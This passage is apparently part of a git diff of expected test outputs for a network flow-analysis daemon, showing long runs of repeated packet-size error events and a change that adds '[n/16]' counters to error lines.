ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....29] [ip4][..tcp] [.......10.0.0.2][10792] -> [.....10.128.0.2][10790] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected not-detected: [.....4] [ip4][..tcp] [.......10.0.0.2][16417] -> [.....10.128.0.2][16419] [Unknown][Unrated] end: [.....4] [ip4][..tcp] [.......10.0.0.2][16417] -> [.....10.128.0.2][16419] not-detected: [.....8] [ip4][..tcp] [.......10.0.0.2][.9508] -> [.....10.128.0.2][.8995] [Unknown][Unrated] diff --git a/test/results/flow-info/ipv6_in_gtp.pcap.out b/test/results/flow-info/ipv6_in_gtp.pcap.out index d1508e9f1..91691f9ad 100644 --- a/test/results/flow-info/ipv6_in_gtp.pcap.out +++ b/test/results/flow-info/ipv6_in_gtp.pcap.out @@ -1,8 +1,8 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/ja3_lots_of_cipher_suites.pcap.out b/test/results/flow-info/ja3_lots_of_cipher_suites.pcap.out index ea0b0fb6a..e12c4dd29 100644 --- a/test/results/flow-info/ja3_lots_of_cipher_suites.pcap.out +++ b/test/results/flow-info/ja3_lots_of_cipher_suites.pcap.out @@ -1,15 +1,15 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] + ERROR-EVENT: Unknown packet type [4/16] + ERROR-EVENT: Unknown packet type [5/16] + ERROR-EVENT: Unknown packet type [6/16] + ERROR-EVENT: Unknown packet type [7/16] + ERROR-EVENT: Unknown packet type [8/16] + ERROR-EVENT: Unknown packet type [9/16] + ERROR-EVENT: Unknown packet type [10/16] + ERROR-EVENT: Unknown packet type [11/16] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/ja3_lots_of_cipher_suites_2_anon.pcap.out b/test/results/flow-info/ja3_lots_of_cipher_suites_2_anon.pcap.out index de938f10c..375e19fbf 100644 --- a/test/results/flow-info/ja3_lots_of_cipher_suites_2_anon.pcap.out +++ b/test/results/flow-info/ja3_lots_of_cipher_suites_2_anon.pcap.out @@ -1,20 +1,20 @@ DAEMON-EVENT: init DAEMON-EVENT: [Processed: 0 pkts][ZLib][compressions: 0|diff: 0 / 0] DAEMON-EVENT: [Flows][active: 0 / 0|skipped: 0|!detected: 0|guessed: 0|detection-updates: 0|updates: 0] - ERROR-EVENT: Captured packet size is smaller than expected packet size + ERROR-EVENT: Captured packet size is smaller than expected packet size [1/16] new: [.....1] [ip4][..udp] [.132.190.244.12][.2152] -> [.151.121.185.44][.2152] detected: [.....1] [ip4][..udp] [.132.190.244.12][.2152] -> [.151.121.185.44][.2152] [GTP.GTP_U][Network][Acceptable] - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size - ERROR-EVENT: Captured packet size is smaller than expected packet size + ERROR-EVENT: Captured packet size is smaller than expected packet size [2/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [3/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [4/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [5/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [6/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [7/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [8/16] + ERROR-EVENT: Captured packet size is smaller than expected packet size [9/16] + ERROR-EVENT: Captured packet size 